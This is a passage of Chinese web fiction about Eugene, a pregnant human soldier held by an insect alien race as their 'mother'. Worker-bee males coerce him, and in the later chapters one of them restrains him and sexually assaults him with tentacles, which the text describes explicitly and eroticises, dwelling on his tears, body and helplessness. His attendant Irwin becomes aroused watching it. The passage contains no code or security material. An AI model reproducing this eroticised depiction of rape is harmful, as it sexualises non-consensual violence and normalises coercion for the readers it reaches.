灰眼工蜂的手也伸了过来,覆在尤金隆起腹顶,那里因为收缩而变得时软时硬,他迷恋地按压着,感受着底下卵块调动位置的滑动。
“这里。”
他喘息道,“它很喜欢妈妈,已经迫不及待要出来了。”
“……”
尤金徒劳地闭上眼睛,试图屏蔽那些直白到残酷的话语。
可触觉反而变得更加敏锐了。
外界的身体表面,四面八方,共有四双手,八只手掌,或轻或重地贴在他的后背,侧腰,像一张黏腻的网将他牢牢罩住。
这是冰冷的,属于已经成年的雄虫的拟态指尖。
内里,是柔软的还没彻底成型的卵鞘,鞘里有小手不断挤压着他的内壁,痒痒的麻麻的,是那未出生的幼虫的触肢。
尤金眉心越蹙越深。
他几乎要瘫倒在地了,每一根眼睫都在颤动着:以上的任意一件事都能轻易突破他可以承受的阈值,更何况连全部加起来。
紫眼工蜂并没有发现他的异常,此刻还在进一步刺激着他,嘴唇贴上了尤金的耳廓,湿冷的气息灌入耳道,他说:
“妈妈,您知道吗?在族群的仪式里,虫母的产卵过程是一场公开的赞礼。”
“您生产时的影像会被珍细地记录下来,放到主巢最安全的殿宇保存,只有拥有足够功绩和地位的雄虫才有资格开启,以此证明我们每只族类对您的重视。”
“当然,交.配也是。”
“按常理说,这同样不该是一场私下进行的行为,对于无时无刻都在单性繁衍的雄虫来说,虫母太过稀少而珍贵,我们必须重视和珍视每一次与您的近距离接触。”
“考虑到您之前是人类,且初次受孕,所以只采取一对一的交尾模式。”
“之后……”
尤金:“……”
同一时间,蓝眼的那只工蜂的手不知何时已经滑落到他腰腹内侧,隔着布料轻轻摩挲他腹部浮起的淡青色血管和柔软的皮肤。
他接话道:“我们只想告诉您,您在族群中的重要性,妈妈。同时帮您度过初孕时期的困难……用我们工蜂一族的蜜,用我们的接触,用我们身体的一部分。”
“是的,母亲。”
其他工蜂也道,“我们都爱您。”
帮助。
爱。
这些词像冰锥凿进尤金的太阳穴,他眼前发黑,仿佛看见自己被按在王座上,双腿被分开,这些口称孩子们的怪物以爱的名义对他进行漫长而系统的开拓。
还有那诡异的录像。
对,录像。
足以凌迟他的过程会被详细记录下来,放在那所谓的珍藏宝库的殿宇里,供每一只不知名,但地位绝对足够高的雄虫观赏。
哈。
虫子而已。
虫子而已。
尤金牙关打颤,面上却扯起一个极度苍白虚弱的笑,“还否认你们不是怪物吗?你们做着杀死我的事,却说爱我,哈哈哈哈!”
他急剧喘息,接着是无法抑制的阵阵咳嗽,仿佛将所有的情绪隐忍到了极致,却又不管不顾地完全在脸上宣泄释放出来了。
泪从眼角滴落,渗出一层湿漉漉的光泽,一颗接一颗地沿着尤金脸颊弧度滑落,蜿蜒坠地。
“一群连脑部结构都发育不全的畜生东西,竟敢如此狂妄地将爱挂在嘴边,你们理解这是什么意思吗?”
“知道这个字代表了什么吗?”
“不,你们不懂。”
“别再学习人类了,拙劣的模仿者们。你们就是一团扭曲的黑暗物质,是只会杀死和被杀死的虫子。根本就不够资格。”
他的崩溃更像是一场无声的溃逃,在过于甜腻的空气里绽开一道裂痕。
汗水早早就浸透鬓发,几缕湿黑的发丝黏在颈侧和额角,随着他压抑的颤抖细微摇曳。
尤金的颤
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抖并不剧烈,那是一种从骨骼深处泛起的、连绵不断的涟漪,让他的轮廓在空气中有了微微的晕影,仿佛随时会溶化在这片污浊的甜香里。
他的面容在泪与汗的浸润下呈现出一种釉质的,非人的光泽。
皮肤苍白得近乎透明,底下青蓝色的血管脉络依稀可见,像是冰层下封冻的河流。
而在这片冰白之上,却又反常地蒸腾起一层崩溃的热意,眼尾、脸颊、乃至脆弱的脖颈,都晕开一片濒死桃花般的潮红。
死……
就这样死掉,似乎也不错。
人类本就脆弱,在浩瀚宇宙中如蜉蝣朝露,平庸地生,平淡地死,掀不起一丝波澜。
平心而论,作为人类个体,尤金可以接受败亡,可以坦然承认在不可抗力的天灾异种面前,自己不过是又一个被碾碎的无名之辈。
但作为军人,他不能。
这并非出于多么崇高的忠诚或责任感,而是一种更深层,近乎本能的愤怒。
如果连尤金这些被精心培育出专门对抗异种的兵器,都这么轻易地跪伏于本能,沦为平庸的失败者,那么人类未来的道路将黯淡得不见一丝光芒。
更重要的是,他不甘心。
绝不甘以这样屈辱的、被彻底剥夺意志的姿态,成为这群怪物繁衍后代的温床。
尤金倏然抬起了眼睫。
那双连日来被折磨得黯淡憔悴的眼眸,此刻竟然迸发出一种奇异的光彩,以一种更为冰冷、更为璀璨的色泽纯粹注视着面前四只工蜂雄虫。
那眼神太过清澈,竟真让这些无法理解和解析的虫子们,涨到顶点的狂热都为之凝滞了一瞬。
“不是要弄吗。”
“如你们所见。”
他缓缓说,“我无法反抗,你们大可以挨个行动,或者一起,怎样都好,无所谓。”
两种截然相反的色泽在尤金脸上交战,冷与热,死寂与灼烧构成惊心动魄的妖异,让此刻的他看起来有种奇异的瑰丽。
他扯开了衣襟。
细腻莹白的皮肤,或凸起的锁骨或凹陷的窝,和起伏的曲线,全都袒露出来了。
气味再次扩散,扑面而来的馥郁。
那些虫子们因为他的发怒而怔住,身体却追随本能地贪婪地嗅闻着他的味道,呼吸加重,口器的边沿是淌下的涎液。
“妈妈……”
“妈妈……”
不怪他们,这是虫子们与生俱来的天性,面对虫母的诱惑,他们定然无法抗拒。
几乎要冲破甲壳的亢奋使它们的生殖腕不受控制地完全伸出,迫切渴望地想要完成神圣的链接。
只要打开母亲的腿。
只要进入那梦寐以求的,孕育生命的圣地,他们就能与至高无上的母体进行最深层次的结合,将基因烙印进虫群的未来。
美丽的母亲,冷漠的神灵,全化成了尤金的模样。
尤金垂眸看向他们的眼神不再是惶恐和恐惧,而是一种近乎于悲悯的睥睨,俯视地看着在他面前匍匐的丑陋虫类。
“妈妈,妈妈……”
“您救救我,求求您救救我……”
紫眼工蜂的声音因极致亢奋而断断续续,每一声呼唤都浸满了扭曲的眷恋,如果他还是人形,那便有着世上最病态的恋母情结。
尤金的嘴唇动了动。
那腹中拉扯着他的虫卵依然在闹动,嗡嗡作响。宫缩的反应并没有停止,使他的脸色看起来饱受折磨。
他声音很轻,却异常清晰,带着一种近乎残酷的平静,“我说了,随便你们如何去做,我不在乎。”
工蜂们的复眼骤然爆发出骇人的光芒,全身因狂喜而战栗。
但尤金接下来的话却让那光芒瞬间冻结了,四张一模一样的脸上露出同样的错愕。
“但在你们把它放进我身体里的那一刻,”尤金停顿了一下,苍白的脸上浮现出近乎虚幻的冷笑,“我以虫母的身份起誓,你们这一支工蜂血脉,从此将永远与我伴侣之列无缘。”
“不仅是你们四个,所有与你们同源的血亲同族,直至工蜂一血脉彻底断绝,我都绝不会青睐于你们。”
“选吧。”
尤金说,“你们是选择现在强了我,还是选择未来名正言顺将卵放到我身体里的机会。”
“无论什么,我奉陪到底。”
9. Chapter9
空气凝滞了一瞬。
那四双复眼中的光芒,像是被冷水骤然泼灭的烛火,发出嗤嗤作响的冰冷颤动。
尤金的话比起威胁更像宣判。
来自于族群最高意志,生命的本源,他们那一切欲望的根源与存在意义的、母亲的判决。
“妈妈……”
紫眼工蜂只剩一半拟态的人脸上,展露出委屈的可怜相。
他覆盖着坚硬甲壳的那部分面部虽然无法做出人类意义上的表情,却依然硬生生表达出几分哀求的意味出来。
猛地收回了几乎要刺破尤金皮肤的节肢,他合拢了自己的口器,连同那不断舔舐的舌尖也缩了回来,仿佛触碰到的不是渴望已久的温软,而是滚烫的岩浆。
“不,请您不要这样说。”
他庞大的,半虫化的身躯开始发抖,甲壳摩擦出微小刺耳的咔哒声。
他想前进几步,又因为极度的敬畏和渴望而钉在原地,只能动弹不得地盯着尤金的方向,用眼睛捕捉着母亲的身影。
“我从没想要过亵渎您的意志,我只是无法控制这与生俱来的本能,妈妈,您要相信我。”
看到尤金不为所动,他呼吸骤然急促了起来,语速也越发迫切,“您说我们不理解人类的爱,或许您是对的——我们生来就是您口中恶心的虫子,的确不懂人类那种需要言语确认、又随时可以撤回的东西。”
他吐字艰难地道:“巢穴需要延续,所以我们寻找您圈养您,让您受孕。信息素让我们渴望靠近您拥抱您,所以我们在您体内留下后代。”
“这是写在基因里的程序,于我们来说就像呼吸一样自然。”
他仰视着尤金。
这个姿态让他显得异常脆弱,尽管他依然庞大、危险。
“妈妈,您可以定义爱。可以认为我们的爱不够资格、不够美好、不够像人类那样浪漫。但请您不要宣判它并不存在。”
吐出最后一句话,他口器轻微扭曲,像是咀嚼到了足以致死的毒素。
四双颜色不同的复眼在昏暗中凝视着尤金的表情,光芒微弱而固执,试图从他脸上窥见一丝一毫的动摇。
“是的,妈妈。”
蓝眼工蜂嗓音沙哑得可怕,“还请您不要觉得我们的爱全是错的。”
“这是我们存在于世的全部理由,如果否定,我们将一无所有。”
工蜂们唤着他:
“妈妈,妈妈,求求您……”
尤金与他们的眼睛在空中触碰。
看到这些恐怖的虫子们可怜兮兮的模样时,尤金只觉得荒谬又可悲。
何其可笑,这些异种们竟然也会露出宛如失恋般的悲伤模样,乞求着他们心爱的母亲不要对他们如此冷漠。
虫族感知不到情绪是既定的事实,这规则偏偏对于尤金成了例外,让板上钉钉的铁律在他身上失效。
此时此刻,尤金竟恍然产生了一种眼前的虫子是如他一般的,鲜活人类的错觉。
宛如不被母亲喜欢,就惶恐难安不知所措的孩子,和求偶失败垂头丧气,黯然神伤的青年。
尤金有片刻的沉默。
虫子们紧紧锁定着他的表情,看他皱眉思索的模样后宛如找到了机会,漆黑修长的触肢在地上滑行。
他们接近了尤金,上半身重新拟态成人形,高高扬起,向着尤金缠绕了过去。
“妈妈,惩罚我们吧。”
蓝眼睛的那只哀求说,“撕碎我们的翅膀,折断我们的触须,挖出我们的心脏。”
“只要能让您开心,我们愿意付出一切,还请您不要否定我们的族群,也不要抛弃我们。对我们而言,剥夺工蜂可以成为您伴侣的资格,比死亡还要可怕。”
他的话像打开了某个阀门。
绿眼和灰眼的工蜂也相继跪倒在他的身边,以一种绝对臣服的姿态身躯低伏,额头抵在地面。
曾经贪婪抚摸尤金身体的手掌紧扣着地板,尖端刮出令人牙酸的声响。
他们齐声:“母亲,请您宽恕。”
“……”
尤金垂眸,看着他脚边这四只因为他的话而动荡不安、狼狈不堪的高阶雄虫。
他们强大的力量,诡谲的能力,超乎寻常的思维,好像在“被虫母永远拒绝”面前统统都变得不堪一击了。
看来“伴侣”二字,在虫族社会有着非比寻常的重量。
尤金思索。
对雄虫们来说,成为虫母的伴侣不仅仅是拥有单纯的交.配权那么简单,更多是意味着可以通过最正统,最荣誉的方式使自己的血脉得以延续。
同时也意味着在族群的社会结构中,可以获得无可争议的地位与荣耀,天然高人一等,受人尊崇,不可撼动。
这样看来,雄虫渴求与虫母结合,在精神上与母体产生链接的想法也不是完全不能理解的事情。
试验出这点对尤金来说算个难得的好消息,他完全可以从中做一些文章。
“选。”
思及此,尤金回神后道。
他说话的语气很轻,仿佛刚刚的崩溃和眼泪只是一场幻觉。
尽管苍白的脸颊上泪痕未干,潮红未退,他那双眼睛却已然恢复了清明,像是寂静湖水表面的涟漪。
“我只问这一次,告诉我你们的答案。至于其他的,不用说太多,我不感兴趣。”
感受到他的决绝,四只工蜂发出低频的嗡鸣声,异常反应在此刻到达了顶峰。
抬起头,这些虫子们复眼里的光芒闪烁不定,内部的晶面疯狂调整焦距,处理着这个艰难到足以击垮他们意志的抉择。
狂热的欲望还在血液里沸腾,母体近在咫尺的诱惑几乎要扯断他们的神经。
放弃与尤金的结合。
对于繁衍至上的雄虫们来说,这个选择无异于一场残忍的凌迟,让他们难以立刻马上地说出肯定的回答,顺利开口。
仿佛置身于一片无边无际的真空领域,雄虫们窒息地沉默着。
短暂几秒后。
蓝眼工蜂喉咙间溢出压抑的哀鸣,深深将头颅埋得更低,他几乎要将自己折成两段,背后的鞘翅都在打颤。
“后者。”
声音裹挟着血肉剥离般的痛苦,他率先对尤金说:“妈妈,我选后者。”
“恳求您……在未来,能够给我们工蜂血脉一个可以被您审视的机会,哪怕万分之一也足够了。”
其他的工蜂也相继发出相似的答复,语速迟缓,但意思明确无误地选择了尤金所承诺的,名正言顺的渺茫可能。
听到他们陆续回答,尤金心中紧绷的弦微不可察地松了一瞬。
“很好,乖孩子们。”
他淡淡说,伸出手在虫子们黏腻潮湿的视线中,将自己衣襟缓缓拢起,一颗颗扣上了扣子。
简单的动作让这群工蜂雄虫呼吸加重,局促的同时带着无尽的渴望和挣扎。
“那么作为此次,你们失控和惊扰我的代价。”
尤金顿了顿,确保每一个字都能清晰地传递进他们的耳朵里,“我不需要你们再代替近侍侍奉我了,去把爱尔文换回来。”
“什?!”
惊愕到变形的声音同时响起,简直不敢相信听到了什么。
“妈妈,不,请不要驱逐我们!”
蓝眼工蜂猛然直起了上半身,眼里充满了比刚才更深的惶恐,难以置信道,“我们可以接受任何惩罚,任何!但请不要让我们离开您的身边,哪怕只是远远的守卫!”
“不需要,”尤金微微偏过头,盯着他们宛若被抛弃的幼兽般的眼睛,“你们见过丝毫不听从管教的守卫吗?”
灰眼工蜂的节肢无意识地抓挠地面,“我们会管好生殖腕,不让它轻易探出来再对妈妈发情的。请,请再给我一次机会。”
尤金打断他,声音里带着清晰的厌烦,“我没有在跟你商量。现在,去把爱尔文带回来,这是命令。”
空气死寂,灰眼工蜂的鞘翅剧烈颤抖,发出尖锐的嗡鸣。
就在尤金判断着他们到底是会彻底失控,还是会将底线一退再退的时候,他们做出了反应。
“如果这是您想要的,”绿眼工蜂嗓音喑哑道,“我们服从。”
门边上的那只最先动作了。
他极其缓慢地爬起,深深向尤金的方向躬身,随后倒退着,一步步挪向门口,每一步都沉重非常。
其他几只也以同样僵滞的姿态跟随着。
他们终于退出了房间,厚重的门扉缓缓合拢,隔绝了内外。
门关上的瞬间,外面隐约传来重物撞击墙壁的闷响,很快,这些声音也消失了,只剩下了死寂。
尤金脱力般靠在墙上,冷汗这才后知后觉地浸透了全身。
他赢了这一局,利用虫族的规则。
但他毫无胜利的喜悦,只有更深重的疲惫和荒谬感涌上
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来。
他的威胁之所以会生效,主要还是因为工蜂一族的雄虫虽然看起来狡猾聪明,但归根结底还是守序的那一派。
能成为近侍者自然有过人之处,但族群首先最看重的还是他们的服从性,以及对于尤金的忠诚度。基于这一点,尤金判断他们并不是属于维斯珀那种极端激进类的雄虫。
如果尤金之前与之对峙的是维斯珀,那么这一招很大概率不会奏效。
恐怕在尤金开口的那一瞬间,他那恶心跳动的生殖腕就已经塞到他身体里去了。
那只雄虫至今还是尤金最讨厌的一只,没有之一。
幸好。
尤金低头看了看不知何时已经安静下来的肚子,手掌抚在那块肌肤上,用力抓紧,像是感觉不到痛一般面无表情地挤压着。
接下来就是新的计划,三天后的朝圣日,他想,爱尔文一个人看着他,可比四只工蜂一起盯着要轻松多了。
尤金蜷在地毯上陷入假寐。
却没发现陷入黑暗的房间内,有短暂的无机质的亮光一闪而过——
紫色的。
是雄虫复眼的晶格。
……
爱尔文回来了。
他是以近乎标准化的运送姿态送回的,宛如一具巨大的黑色尸体。
他侧躺在房间的地面,肢体摆放得异常规整,巨大的深黑色外骨骼形态遍布伤痕,镰肢自关节断开,末端仅靠几缕生物组织连接着。
尤金注意到他躯壳上,如同即将碎裂的岩石般裂纹纵横,腹部更有数道极深极长的创口,边缘整齐平整,像是用某种精密工具反复切割而成。
但即使伤至如此,黑色雄虫的姿态依然保持着一种近乎刻板的克制。
没有无意义的抽搐,没有痛苦的扭曲,只有规律到令人发冷的细微颤抖,像一台过载却仍在坚持运转的精密仪器。
“妈妈。”
声音响起,平稳清晰、毫无波澜,与可怖的伤势形成骇人的对比。
残破的复眼晶面校准般转向尤金的方向,精准聚焦,爱尔文又唤了尤金一声:“妈妈。”
尤金走近。
他敛目看着爱尔文断裂的镰肢,平静开口,“解释?”
爱尔文的肢体微微颤动,发出甲壳碰撞的咯吱声响,“我,失职,让维斯珀,强吻了您,我该死……”
“所以自请了量刑还不够,你就选择了自残?”
尤金看着他整齐的断肢,嘲讽地发出了一声嗤笑,“真了不起。谁还能像你一样呢?爱尔文,我再没有见过比你还要蠢笨固执的家伙了。”
爱尔文沉默不语。
尤金居高临下地俯视他,语速缓慢:“因为你的离开,我险些被接替你的近侍侵犯。”
“你明明可以做得更好,却选择了对你我都更加糟糕的那条路,你说我该不该骂你?”
爱尔文忽的瞪大了眼睛。
他张了张口,进屋后身躯第一次发出了巨大的震颤,半晌才挤出了干涩的声音:
“抱歉,妈妈,我让您……”
“我还没有被插。”
让他愧疚的目的达到了,想来这家伙之后也能更听话一些,尤金迅速越过了这个让他感到不适的话题。
他移开目光,“之后不准擅自行动,哪怕是死也要死在我眼皮子底下。懂了吗?”
爱尔文低应了一声。
尤金没有与虫子共处一厅的打算。雄虫们自我愈合能力极强,他任由对方留在原地修复,交代完话后转身前往了卧室休息。
锁上卧室的门。
尤金双肩放松下来,近乎虚脱地拧开了衣服扣子,露出肩头和大半个背部。
他身体虽然不累,但接连的精神起伏,已经让孕晚期的他百般憔悴了,此刻只想沉沉睡去。
突然。
尤金敏锐地感觉到身后传来了悚然的注视感,像是有什么可怕的东西在黑暗中持续无声地盯着他,令他如芒在背,不寒而栗。
他僵硬地回头看去,目光赫然对上了一双深紫的瑰丽眼睛。
那幽深的瞳孔,如桔梗一般忧郁的颜色——正是尤金分外熟悉的,前不久才刚与他分别的工蜂之一。
“妈妈。”
那只工蜂歪着头,用一种疑惑的语气对着他,一字一句缓慢道:
“您把我的回复漏掉了。”
“兄弟们选了后者没错,可我并没有啊?”
10. Chapter10
死一般的寂静在房间里蔓延。
尤金浑身的血液凝固,感到前所未有的荒谬爬上心头:这只工蜂、到底什么时候藏匿在他房间里的?
是刚刚?
还是从头到尾都在?
极致的荒诞让尤金头皮发麻、脊背发凉。
他脑内警铃狂作,肾上腺素飙升,几乎是在理解现状的瞬间就转身扑过去,想要打开刚锁上的那扇门。
可他的手才刚探出几寸,指尖还没有碰到金属扣,就被一股更为快速而强劲的力道握住了手腕,停在空中分毫不进。
“啪!”
尤金再也忍不住了,另一只手重重向前挥去,狠狠抽在工蜂那拟态的脸皮上,将他脸打得偏向一旁发出一声闷响。
“你还待在我这里干什么?”
尤金胸膛急速起伏着:“你已经不是我的近侍了,还不快滚开!”
他不断抽手,迫切地想要从这间密封的屋子里出去,尽快结束与眼前这只工蜂的独处状态,哪怕是短暂的一秒也好。
否则就太不妙了。
敏锐的直觉告诉他,现在绝不是可以糊弄对待的好时机。
可这只工蜂非但不松开手,反而在尤金无法理解的表情中将他的手腕攥得更紧,指尖深深陷进腕骨间的缝隙里。
“妈妈,妈妈又打了我?”
冰凉滑腻的淡金色液体缠绕上尤金的肌肤,凉意瞬间蔓延到全身。亢奋到分泌出蜜浆的工蜂声线激动到扭曲:
“其他兄弟都没有这个待遇,您只这样对我,这代表我果然不一样对不对?”
“我就知道我就知道!”
“我才是妈妈最喜欢的孩子!!”
刹那间,工蜂拟态出的人类脸庞上浮出了不正常的潮红,密密麻麻覆盖了一大片,呼吸也急促了起来。
他复眼死死锁定了尤金,痴迷地视线黏在他的身上,蛇信般一点点舔了上去,不放过任何一丝细节。
由于过度亢奋,这只工蜂胸腔里鼓荡的气浪都好似带着阵阵流动感,喷洒在尤金的颈侧,存在浓烈到无法忽视。
尤金毛骨悚然。
深吸一口气,他果断放弃了开锁,哒一声按开镶嵌在门上的传呼器,大声呼唤爱尔文的名字,企图让后者从外面将门破开。
但第一个音节才念出来,刚刚还幸福到状若癫狂,沉浸在喜悦里无法自拔的紫眼工蜂蓦然安静了下来。
他飞速捂住了尤金的下半张脸,把他的话硬生生闷在了喉咙里。
尤金浑身一僵。
他还没来得及做出反应,就感觉到一阵天旋地转,紧接着后背撞进一个坚硬如铁的胸膛上。
须臾间,数道冰冷柔韧的触肢从工蜂的身后探出,如同坚韧的藤蔓,精准地缠绕上他的腰身、大腿、手臂,将他牢牢锁死在雄虫高大的身躯之间。
尤金被吊了起来。
工蜂的触肢强行将他从背后高高提起,只有脚尖堪堪触地,他全身几乎折成一个脆弱而暴露的弓形——
如同被十字架吊在空中的囚徒,在这片黑暗的空间中示众露弱。
“妈妈,不可以叫别人来。”
拥紧着他的工蜂满足地喟叹,埋首在尤金的颈窝里贪婪地深嗅,连警告也说得嘶哑又缠绵:
“您说过的,不管我做出怎样的选择都奉陪到底。所以现在,该是妈妈和我的交尾时间。”
“如果爱尔文大人插足进来,我会生气到杀了他哦。”
尤金每一根手指都在发颤。
他话都说不清晰了,艰难地用气音道:“你,你的兄弟已经做出了选择,无法代表族群的你,凭什么例外?”
高阶雄虫的同一窝卵,就宛如最完美的共生体,他们共享同一张面孔,同一套思维,如同精密复刻的镜像,永远步调一致。
本该如此的。
——可这只工蜂,这只本该与他的兄弟们毫无二致,一同离开的工蜂,竟违背共生基因里的天性,衍生出独立的意志,拥有了自己的私心!
他假装离去,实际潜伏在尤金的房间,在极长的时间内与尤金独处,在他一无所知时盯着他,窥视他,渴望他。
这让尤金怎么可能冷静得下来?
“妈妈真是狡猾。”
紫眼工蜂的声音听起来有些失真,像是隔着厚重的水层传来,模糊了方向与距离,“您忘记您的承诺了吗?您是要反悔吗?您是在骗我吗?”
随着他的发问,尤金汗如雨下。
他忽而发出一声痛苦的呜咽,弓起的身体颤抖如筛,像是被夺走了全部的力气,全然虚脱了下来。
“停下……”
他断断续续说,“别,别钻了……”
他黑发完全湿透了,一缕缕粘在苍白的脸颊,紧蹙的眉心和失焦的眼瞳流露出罕见的狼狈与脆弱。
半挂的衣衫在挣扎中滑落,露出线条流畅的肩背,冷汗便沿着深浅不一的沟壑滑落,没入更隐秘的凹陷里。
然而这副情态落入发情的虫族眼中,不外乎于最猛烈的催情剂。
“妈妈不给,我只能自己来取。”
工蜂痴迷地低语,这样说着,一条更为灵活、前端湿润的触肢扭曲变形。
尤金清晰地感觉到那困着他的触肢正在四处乱窜,似乎在寻找着什么栖息地般,急切地在他各个部位游走。
从逐步接近真正的目的地就能看出来,它们的寻找并不茫然。
果不其然。
触肢先是托住了他的小腹,在他孕育着生命的肚皮上停留,随后缠上他的髋骨,不容抗拒地将与之连接的肢体分开。
这一系列的过程,就如同此前每一次模拟产卵时那般,熟练无比,行云流水。
尤金骤然睁大了双眼。
他忽的仰起了头,死死咬住下唇不肯泄出丢人的示弱声,维持理智的弦发出了不堪重负的吟唱,濒临断裂,摇摇欲坠。
那触肢却仿若活物,不论他接纳与否,只一个劲地开疆扩地。
恍然间,尤金感觉自己的身体好像被劈成了两半。
一半冷漠旁观,像局外人一样审视着一切,一半却让他连基本的清醒都做不到,只想如同婴儿般蜷缩起来抵御过度的侵入。
不一会儿,他低喘的呼吸就变了调,开始时不时夹杂几声极度压抑的泣音,已然濒临极限,一败涂地。
他会死的。
就像他这具属于人类的纤细身体,注定无法承载虫族狂暴的渴望和力量。
身后的存在感膨胀如渊,将他彻底笼罩,吞没。
“妈妈……”
雄虫的声音模糊传来。
那声响没有明确的空间感,并不以某一处为起点,而是从上下左右同时渗进听觉,让人难以分辨源头。
虫子没有声带。
他们所发出的人语,实则是通过精细模拟人类的声频振动而拼凑出来的,稍微褪去伪装就会如现在这般原形毕露。
“虽然,我许久前就对人类的社会风气有了了解,知晓人类父母普遍存在食言欺骗孩子,将盲目崇拜他们的孩子玩弄得团团转的现象……”
有黏腻的唇亲吻着尤金的脸庞:
“可当它真的发生在了妈妈与我之间,我还是会感到伤心难过。”
“妈妈。”
“您说,这样的父母是不是很过分?”
尤金牢牢被虫子缠上了。
这些虫子对他的腹腔,不,应该说对他的整个身体都有一种异常的饥渴感,疯狂吸食着他的味道。
他仿佛成了一块丰饶的土地,任由生长在他身上的生物攫取着自己。
养分。
生命力。
这些与他灵魂血液纠缠在一起的东西正在源源不断地流失着,尤金感觉自己越来越透明,越来越稀薄。
黑发粘在皓白的颊边,极致的黑与白缠绕在一起,他的身体痉挛般抽搐,眉心蹙起,朦胧中好像回到了那个梦。
那个被无数虫子吸吮舔舐,一边唤着他母亲,一边纠缠着他的梦。
可这是现实。
并不是属于那种一醒来就可以消失的东西,而是真真切切正在发生着的。
尤金沉沉地闭上了眼睛。
……
爱尔文没有告诉尤金。
离开尤金的这几天,他产生了强烈的戒断反应。
那些疯狂的自残从来不是单纯的赎罪,而是只有切肤般的剧痛才能短暂地压下见不到母亲的癫狂。
从前只要耸动鼻尖,鼻腔间就能轻易闻到虫母身上散发的熟悉的香甜,那是刻进骨血里的安全感。
可在审判区,哪怕他将自己的感知铺张到最开,也嗅不到丝毫尤金的气息。
虫母的气息被层层隔绝着。
只有近侍,才能被允许守在待产的他的身边,
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像丈夫般与他牵系着短暂却珍贵的联结。而这一切都与身为罪人的他无关了。
戒断期的雄虫与未分化的劣质虫子别无二致。
爱尔文很长时间连拟态都做不到,他的精神涣散不堪,只剩疼痛能够锁住最后一丝意识,不至于彻底崩塌。
直到再一次见到尤金。
那一刻,世界突然安静了。
所有的嘈杂都碎成粉末,他的眼里只剩下那道瘦削的身影,耳边只剩下母亲轻唤他名字的声音。
戒断戛然而止,他甚至忘记了痛苦,只无意义地反复叫着尤金妈妈。
他活了过来。
那时的爱尔文无比笃定地想。
身体的自愈能力正在运转,旧伤的裂纹慢慢合拢,断裂的肢体一节节重生。
爱尔文缓缓站起,鼻翼微颤,目光死死锁定着卧室的方向。
那里飘来一股奇异的香味,像熟透得要烂掉的果子,甜得发齁,汁液横流。
是尤金的味道。
他在动情。
嗅到这味道的一瞬间,爱尔文的鞘翅猛地张开,根部嗡嗡震颤,每一寸甲壳都在叫嚣着要冲进去,去贴着母亲,去把那味道吞进身体里。
可他的脚却死死钉在原地。
仅剩的理智告诉他,此时的尤金并不会想要见他。
尤金是个从不会把弱点摆在明面上的人,不管内心在想什么,看上去都是冷淡疏离的样子,情绪波动只有在隐忍到极致时才会泄露一丝。
爱尔文陪了他这么久,早就能从细微的神情里读懂他的心情。
他不该去烦他,不该让本就烦躁的他更加不高兴。
可理智终究抵不过本能。
他还是动了,一步,又一步朝着那缕香味挪去,哪怕一厘米也好,也想去靠近。
可就在他触碰到门的那一刹那——
“砰!!”
门被从内部撞开了。
爱尔文停顿在原地,复眼中倒映出的景象成了定格般的死寂,如同完全静止的黑白画面。
他看到了尤金。
尤金几乎被浓郁的金色虫蜜浸透了,那粘稠的发亮的蜜液包裹着他皙白的身体,如同为圣像涂抹上了金色的漆。
流畅的肌肉线条因持续的痉挛而绷紧,汗水和蜂蜜混合,沿着起伏的胸膛,柔韧的腰腹不断滑落,没入更深的阴影。
源源不断的金液淌下。
他整个人悬在空中,只剩小半张脸露在外面,纤长的睫毛轻颤,像濒死的蝴蝶,连挣扎都显得微弱。
漆黑如夜的房间里,他如即将被吊死的圣母,开始显得圣洁。
这具身体很年轻。
刚褪去少年的青涩,逐渐转变为青年的矫健,未来也许还会变化得更加有力,充满了男性力量的美感。
可此时,却被那完全虫化的巨大工蜂牢牢锁在怀里,连一丝挣脱的余地都没有。
不仅如此。
微微隆起的腹部还象征着他成了母亲,肩负为整个异种族群而繁衍的使命,现在只不过开始,刚刚开始。
何其震撼,何其可悲。
何其美丽。
……
尤金也看到了他。
那双向来冷淡的眸子里,此刻浸满了生理性的泪水。
他艰难地,极其缓慢地朝着爱尔文的方向伸出了一只颤抖不已的手,喉咙里挤出破碎不堪的气音。
他的身后,那只硕大的深紫色工蜂却低笑起来,黏湿的唇舌舔过他通红的耳廓,声音温柔如毒蛇吐信:
“您把他当成希望了吗?您以为他会来救您吗?”
“看清楚一些,我亲爱的母亲……”
尤金涣散的目光凝聚,看向门口的爱尔文。
只见那只向来克制守礼的高阶虫族,此刻獠牙毕露,口器无法自控地开合。
晶莹的唾液如断线的珠子般坠落,在寂静中砸出清晰的黏腻声响。
他的复眼直勾勾钉在尤金身上,尤其是那被触腕强行拓开,沾满蜂蜜与湿痕的髋骨附近,漆黑的眸底翻涌着骇人的饥渴。
他在吞咽。
他露出了与那工蜂同出一源的,极度的渴望,胸膛随着嗅闻和喘气而变得鼓胀。
“……”
尤金将他的反应尽收眼底,大脑一片空白,许久寂静无声。
爱尔文。
——他也发情了。
11.Chapter11
尤金唇齿发颤。
爱尔文……是他亲自选的近侍。
半年前,在降临到这颗星球,经历地狱般的折辱后,他对这群虫子几乎怀着食肉寝皮的恨意。纵使那些赫赫有名的领主统帅们再如何亲昵讨好他,他也统统不予接受。
所以,当得知孕期必须有一位近侍照料起居时,尤金无视所有炙热的目光,选择了中立阵营,总是独来独往的爱尔文。
其余不论,至少,爱尔文是明确忠于虫母的。
是可以沟通的。
仅凭这一点,就足以让尤金在重重窒息的压力中选择他。与爱尔文相处,他不必时刻承受那几乎要将灵魂碾碎的粘稠觊觎。
可现实给了他冰冷的一记重击。
尤金迟缓地抬起眼睫。
视线里,爱尔文的身形已然扭曲成令他心悸的模样,涎液失控地滴落,口器难以自抑地翁张,鞘翅完全无法收回,最骇人的是那蠢蠢欲动,正一段段探出的生殖腕。
每一寸,都在叫嚣着迫不及待要与母体结合的原始渴望。
“……”
心脏寸寸冻结,血液逆流失温。
尤金忽然想笑。
嘴角牵动了一下,他最终没能笑出来,只觉得眼前一切都模糊成晃荡的水晕了,朦朦胧胧,看不真切。
与他截然相反的,是身后那紫眼工蜂攀升至顶点的兴奋。
埋在他体内的触腕疯了一样地生长,持续地往里钻入,仿佛要在名为尤金的温软土壤里扎下永恒的根须。
它们肆意绽放,散发出的信息素里充满愉悦的分子,每一根都在高昂地宣告着对母体侵占与胜利。
尤金胃部痉挛,一阵干呕。
可就在他张嘴的瞬间,新的触腕立刻寻隙钻入,像一根湿滑灵活的舌头,在他口腔内扫荡,勾缠,强迫他与之共舞。
水声。
黏腻的,令人头皮发麻的啧啧水声无处不在。尤金分不清是来自他被搅弄得泥泞的口腔,不断拓垦的髋间,还是不远处爱尔文那里传来的,渴望的滴答声。
他的瞳孔开始失焦。
